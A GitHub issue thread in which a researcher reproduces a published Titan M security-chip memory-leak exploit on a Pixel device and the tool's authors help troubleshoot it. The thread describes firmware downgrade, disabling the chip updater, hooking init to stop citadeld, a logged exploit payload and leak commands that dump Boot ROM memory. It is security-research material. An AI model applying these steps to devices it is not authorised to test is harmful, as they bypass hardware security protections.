quarkslab/titanm

Bug is not triggered

Closed this issue · 12 comments

I am trying to trigger the bug by the tools out of the box. But it looks like it is not easy to do. As I already mentioned in the previous report that the citadeld cannot be stopped on Android 11 (with October patches). The EC image was downgraded but not verified yet that the downgraded version is launched on boot up. I say "was downgraded" only in assumption that the 'fastboot oem citadel rescue command' returned 'OKAY' error code.
Now I am trying to to dump the Boot ROM. No luck so far. Any leak subcommand returns fixed 12 bytes value:

./nosclient leak 0x0 0x16
08 01 18 01 20 04 2a 04 00 00 00 00

To get more debug information I modified that frida script to intercept the nos_call_application() directly in the 'nosclient' tool.
Below is the output:

11-14 17:00:46.753 21237 21242 D qb_parser: Found sanity function at: 0x6d82e2d90c
11-14 17:00:46.753 21237 21242 D qb_parser: Hello from the other side
11-14 17:00:46.753 21237 21242 D qb_parser: Sanity function returned 42
11-14 17:00:46.887 21237 21237 D qb_parser: appID: 0x5, param: 0xd
11-14 17:00:46.888 21237 21237 D qb_parser: request: 0x6e699a9010, request_size: 0x1ce
11-14 17:00:46.888 21237 21237 D qb_parser: reply: 0x6ea99a88a0, reply_size_addr: 0x7fdb4a2df4
11-14 17:00:46.897 21237 21237 D qb_parser: Request:
11-14 17:00:46.897 21237 21237 D qb_parser:            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
11-14 17:00:46.897 21237 21237 D qb_parser: 00000000  0a c8 03 ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000010  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000020  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000030  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000040  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000050  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000060  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000070  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000080  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000090  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 000000a0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 000000b0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 000000c0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 000000d0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 000000e0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 000000f0  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000100  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000110  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000120  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000130  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000140  ff ff ff ff ff ff ff ff ff ff ff 02 00 00 00 17  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000150  00 00 00 01 00 00 00 01 00 00 00 c0 bd f0 ff ff  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000160  ff ff ff ff ff ff ff ff ff ff ff 91 1a 05 00 44  ...............D
11-14 17:00:46.897 21237 21237 D qb_parser: 00000170  28 01 00 08 69 01 00 34 08 34 08 00 00 00 00 00  (...i..4.4......
11-14 17:00:46.897 21237 21237 D qb_parser: 00000180  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 00000190  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 000001a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 000001b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.897 21237 21237 D qb_parser: 000001c0  00 00 00 00 00 00 00 03 8e 05 00 38 c8 03        ...........8..
11-14 17:00:46.922 21237 21237 D qb_parser: Reply size:
11-14 17:00:46.922 21237 21237 D qb_parser:            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
11-14 17:00:46.922 21237 21237 D qb_parser: 00000000  88 00 00 00                                      ....
11-14 17:00:46.922 21237 21237 D qb_parser: Reply size is 136
11-14 17:00:46.925 21237 21237 D qb_parser: Reply:
11-14 17:00:46.925 21237 21237 D qb_parser:            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
11-14 17:00:46.925 21237 21237 D qb_parser: 00000000  0a 85 01 08 03 12 80 01 45 30 2d 32 00 00 00 00  ........E0-2....
11-14 17:00:46.925 21237 21237 D qb_parser: 00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.925 21237 21237 D qb_parser: 00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.925 21237 21237 D qb_parser: 00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.925 21237 21237 D qb_parser: 00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.925 21237 21237 D qb_parser: 00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.925 21237 21237 D qb_parser: 00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.925 21237 21237 D qb_parser: 00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.925 21237 21237 D qb_parser: 00000080  00 00 00 00 00 00 00 00                          ........
11-14 17:00:46.948 21237 21237 D qb_parser: Identity: ICpushReaderCert
11-14 17:00:46.948 21237 21237 D qb_parser: {
11-14 17:00:46.948 21237 21237 D qb_parser: 	IN
11-14 17:00:46.948 21237 21237 D qb_parser: 
11-14 17:00:46.948 21237 21237 D qb_parser: 	{
11-14 17:00:46.948 21237 21237 D qb_parser:             x509Cert: "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff02000000170000000100000001000000c0bdf0ffffffffffffffffffffffffff911a050044280100086901003408340800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000038e0500"
11-14 17:00:46.948 21237 21237 D qb_parser:             publicKeySize: 456
11-14 17:00:46.948 21237 21237 D qb_parser: 	}
11-14 17:00:46.948 21237 21237 D qb_parser: 	OUT
11-14 17:00:46.948 21237 21237 D qb_parser: 
11-14 17:00:46.948 21237 21237 D qb_parser: 	{
11-14 17:00:46.948 21237 21237 D qb_parser:             result {
11-14 17:00:46.948 21237 21237 D qb_parser:               result_code: STATUS_INVALID_DATA
11-14 17:00:46.948 21237 21237 D qb_parser:               message: "E0-2\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
11-14 17:00:46.948 21237 21237 D qb_parser:             }
11-14 17:00:46.948 21237 21237 D qb_parser: 	}
11-14 17:00:46.948 21237 21237 D qb_parser: }
11-14 17:00:46.948 21237 21237 D qb_parser: ------------------------------------------------------------------------------------------------------
11-14 17:00:46.949 21237 21237 D qb_parser: appID: 0x0, param: 0x4242
11-14 17:00:46.949 21237 21237 D qb_parser: request: 0x6e699ad320, request_size: 0x230
11-14 17:00:46.949 21237 21237 D qb_parser: reply: 0x6ea99a88a0, reply_size_addr: 0x7fdb4a2df4
11-14 17:00:46.958 21237 21237 D qb_parser: Request:
11-14 17:00:46.958 21237 21237 D qb_parser:            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
11-14 17:00:46.958 21237 21237 D qb_parser: 00000000  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
11-14 17:00:46.958 21237 21237 D qb_parser: 00000010  65 f9 04 00 e0 7e 01 00 41 41 41 41 41 41 41 41  e....~..AAAAAAAA
11-14 17:00:46.958 21237 21237 D qb_parser: 00000020  41 41 41 41 e3 15 05 00 00 00 00 00 16 00 00 00  AAAA............
11-14 17:00:46.958 21237 21237 D qb_parser: 00000030  e9 33 06 00 41 41 41 41 41 41 41 41 65 fe 04 00  .3..AAAAAAAAe...
11-14 17:00:46.958 21237 21237 D qb_parser: 00000040  41 41 41 41 41 41 41 41 41 41 41 41 65 f9 04 00  AAAAAAAAAAAAe...
11-14 17:00:46.958 21237 21237 D qb_parser: 00000050  48 df 01 00 41 41 41 41 41 41 41 41 41 41 41 41  H...AAAAAAAAAAAA
11-14 17:00:46.958 21237 21237 D qb_parser: 00000060  e3 15 05 00 00 00 00 00 16 00 00 00 99 07 05 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 00000070  41 41 41 41 41 41 41 41 65 fe 04 00 00 00 00 00  AAAAAAAAe.......
11-14 17:00:46.958 21237 21237 D qb_parser: 00000080  41 41 41 41 41 41 41 41 b1 67 04 00 c1 dc 82 86  AAAAAAAA.g......
11-14 17:00:46.958 21237 21237 D qb_parser: 00000090  8a 97 e8 da c0 35 4a db 7f 00 00 00 50 89 78 7f  .....5J.....P.x.
11-14 17:00:46.958 21237 21237 D qb_parser: 000000a0  5f 00 00 00 00 00 00 00 00 00 00 00 00 7f 78 7f  _.............x.
11-14 17:00:46.958 21237 21237 D qb_parser: 000000b0  5f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  _...............
11-14 17:00:46.958 21237 21237 D qb_parser: 000000c0  00 00 00 00 00 00 00 00 00 00 00 00 16 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 000000d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 000000e0  00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 000000f0  00 00 00 00 20 95 9b b9 6d 00 00 00 00 00 00 00  .... ...m.......
11-14 17:00:46.958 21237 21237 D qb_parser: 00000100  00 00 00 00 10 95 9b b9 6d 00 00 00 00 00 00 00  ........m.......
11-14 17:00:46.958 21237 21237 D qb_parser: 00000110  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 00000120  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 00000130  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 00000140  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 00000150  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 00000160  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 00000170  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 00000180  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 00000190  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11-14 17:00:46.958 21237 21237 D qb_parser: 000001a0  00 00 00 00 b8 34 4a db 7f 00 00 00 b8 34 4a db  .....4J......4J.
11-14 17:00:46.958 21237 21237 D qb_parser: 000001b0  7f 00 00 00 b8 34 4a db 7f 00 00 00 b8 34 4a db  .....4J......4J.
11-14 17:00:46.958 21237 21237 D qb_parser: 000001c0  7f 00 00 00 40 8a 0c 1f 00 00 00 00 d8 34 4a db  ....@........4J.
11-14 17:00:46.958 21237 21237 D qb_parser: 000001d0  7f 00 00 00 b8 34 4a db 7f 00 00 00 f8 34 4a db  .....4J......4J.
11-14 17:00:46.958 21237 21237 D qb_parser: 000001e0  7f 00 00 00 f8 34 4a db 7f 00 00 00 f8 34 4a db  .....4J......4J.
11-14 17:00:46.958 21237 21237 D qb_parser: 000001f0  7f 00 00 00 f8 34 4a db 7f 00 00 00 98 35 4a db  .....4J......5J.
11-14 17:00:46.958 21237 21237 D qb_parser: 00000200  7f 00 00 00 78 35 4a db 7f 00 00 00 58 35 4a db  ....x5J.....X5J.
11-14 17:00:46.958 21237 21237 D qb_parser: 00000210  7f 00 00 00 38 35 4a db 7f 00 00 00 18 35 4a db  ....85J......5J.
11-14 17:00:46.958 21237 21237 D qb_parser: 00000220  7f 00 00 00 f8 34 4a db 7f 00 00 00 08 33 4a db  .....4J......3J.
11-14 17:00:46.971 21237 21237 D qb_parser: Reply size:
11-14 17:00:46.971 21237 21237 D qb_parser:            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
11-14 17:00:46.971 21237 21237 D qb_parser: 00000000  00 00 00 00                                      ....
11-14 17:00:46.971 21237 21237 D qb_parser: Reply size is 0
11-14 17:00:46.971 21237 21237 D qb_parser: Nugget: No handler yet for function #16962
11-14 17:00:46.971 21237 21237 D qb_parser: ------------------------------------------------------------------------------------------------------
11-14 17:00:46.972 21237 21237 D qb_parser: appID: 0x1, param: 0x0
11-14 17:00:46.972 21237 21237 D qb_parser: request: 0x6e699a9010, request_size: 0x0
11-14 17:00:46.972 21237 21237 D qb_parser: reply: 0x6ea99ab9c0, reply_size_addr: 0x7fdb4a2df4
11-14 17:00:46.972 21237 21237 D qb_parser: Request has null size
11-14 17:00:46.986 21237 21237 D qb_parser: Reply size:
11-14 17:00:46.986 21237 21237 D qb_parser:            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
11-14 17:00:46.986 21237 21237 D qb_parser: 00000000  0c 00 00 00                                      ....
11-14 17:00:46.986 21237 21237 D qb_parser: Reply size is 12
11-14 17:00:46.987 21237 21237 D qb_parser: Reply:
11-14 17:00:46.987 21237 21237 D qb_parser:            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
11-14 17:00:46.987 21237 21237 D qb_parser: 00000000  08 01 18 01 20 04 2a 04 00 00 00 00              .... .*.....
11-14 17:00:46.998 21237 21237 D qb_parser: AVB: GetState
11-14 17:00:46.998 21237 21237 D qb_parser: {
11-14 17:00:46.998 21237 21237 D qb_parser: 	IN
11-14 17:00:46.998 21237 21237 D qb_parser:  {}
11-14 17:00:46.998 21237 21237 D qb_parser: 	OUT
11-14 17:00:46.998 21237 21237 D qb_parser: 
11-14 17:00:46.998 21237 21237 D qb_parser: 	{
11-14 17:00:46.998 21237 21237 D qb_parser:             version: 1
11-14 17:00:46.998 21237 21237 D qb_parser:             production: true
11-14 17:00:46.998 21237 21237 D qb_parser:             number_of_locks: 4
11-14 17:00:46.998 21237 21237 D qb_parser:             locks: "00000000"
11-14 17:00:46.998 21237 21237 D qb_parser: 	}
11-14 17:00:46.998 21237 21237 D qb_parser: }
11-14 17:00:46.998 21237 21237 D qb_parser: ------------------------------------------------------------------------------------------------------

Any idea why the bug is not triggered? Bad EC image stored in the Titan M?

Now it is clear why the bug is not triggered. Indeed, the affected EC image is stored only in inactive slot. So, I have to downgrade the active slot as well.

Chip:    Google Citadel C2-PVT
Board:   0
RO_A:    0.0.3/d55cc99c ok
RO_B:  * 0.0.3/874a9517 ok
RW_A:    0.0.3/brick_v0.0.8232-b1e3ea340 ok
RW_B:  * 0.0.3/brick_v0.0.8292-b3875afe2 ok

Hey! Nice to see that someone is using our tools :)

One problem you have is that the system automatically updated the firmware at next boot after you downgraded it. One solution could be to downgrade Android to a version embedding a lower version of the firmware you want to downgrade to. Another solution is to patch the system so that Android won't run citadel_updater at boot (you can patch init or rename the binary file).

A second issue you probably have is that citadeld is running. When playing with our client, we always had issues in the case where citadeld is running. This is why we recommend to kill/stop the service.

Great! Glad to hear it is possible.

You mentioned "A second issue you probably have is that citadeld is running. When playing with our client, we always had issues in the cases where citadeld is running. This is why we recommend to kill/stop the service."
I tried to stop the citadeld by 'stop vendor.citadeld' but without success. Please, see the open ticket #2. To bypass this limitation, I use the debugger to hook the init' CheckControlPropertyPerms() function by replacing return code on any non-zero value.

I have replaced the ec.bin and ec.rec directly in the vendor partition.

blueline:/vendor/firmware/citadel # strings ec.bin | grep brick                                                                                                                     
brick_v0.0.8232-b1e3ea340
brick_v0.0.8232-b1e3ea340 2020-09-25 16:57:52 wfrichar
brick_v0.0.8232-b1e3ea340
brick_v0.0.8232-b1e3ea340 2020-09-25 16:57:52 wfrichar

Now, looks like RW_B has a suitable EC image to be flashed.

Chip:    Google Citadel C2-PVT
Board:   0
RO_A:    0.0.3/d55cc99c ok
RO_B:  * 0.0.3/874a9517 ok
RW_A:    0.0.3/brick_v0.0.8232-b1e3ea340 ok
RW_B:  * 0.0.3/brick_v0.0.8232-b1e3ea340 ok 

But it still doesn't leak information:

blueline:/data/local/tmp # ./nosclient leak 0x0 0x16                                                                                                                                
08 01 18 01 20 04 2a 04 00 00 00 00 

Cool! After renaming the init_citadel it started working!

blueline:/data/local/tmp # ./nosclient leak 0x0 32                                                                                                                                  
00 00 02 00 99 14 00 00 b9 3e 00 00 b9 3e 00 00 b9 3e 00 00 91 3e 00 00 b9 3e 00 00 b9 3e 00 00 b9 3e 00 00 b9 3e 00 00 b9 3e 00 00 b9 3e 00 00 b9 3e 

Great! Enjoy :)

It is so exciting project!
I just recently thought about how to look at the runtime state of the Titan M. And here it is. It is real!
Thanks for your amazing work!

What are the read-memory access limitations and how they are managed? And what is the strategy of dumping the whole memory map?

Some regions cannot be read. Command hangs or empty string is returned:

blueline:/data/local/tmp # ./nosclient leak 0x4000 0x16                                                                                                                             
^C
130|blueline:/data/local/tmp # ./nosclient leak 0x4000 0x16                                                                                                                         

blueline:/data/local/tmp # ./nosclient leak 0x4000 0x16   

ADDED: I guess non-mapped regions return empty string. Read memory access must be aligned to the mapped region. Otherwise, empty string will be returned. Could you confirm this?

We describe the memory regions we know about in the white paper, but the full memory mapping is still unknown. Some memory area may not be mapped or simply not accessible with read permissions (the leak command won't try to change the permissions). Also the exploit will sometimes make the chip hang. Resetting the chip can be necessary in that case.

More likely, access to the non-mapped address causes an exception in the Titan M. I guess they has 1 byte granularity of the memory as the SoC doesn't have the MMU.
White paper states that the BootRom is mapped to the 0x0 - 0x3fff.
Actually, the last accessible byte is mapped at the 0x3fdf. Higher memory address are not available until RO_A

blueline:/data/local/tmp # ./nosclient leak 0x3fdf 1            // last byte of the BootRom mapped to the Titan M                                                                                                    
ab 
blueline:/data/local/tmp # ./nosclient leak 0x3fe0 1           // empty return. Nothing is mapped here. Probably causes an exception.                                                                                                       

130|blueline:/data/local/tmp # ./nosclient leak 0x3ffff 1     // just behind the RO_A. Also non-mapped                                                                                                        

blueline:/data/local/tmp # ./nosclient leak 0x40000 1        // First byte of mapped RO_A.                                                                                                        
fe 

If we make an unaligned access, also nothing is returned.

blueline:/data/local/tmp # ./nosclient leak 0x3ffff 10

Yes the BROM is not exactly ending at 0x3fff. We used this address in a schema for the presentation. The actual end is indeed 0x3fdf.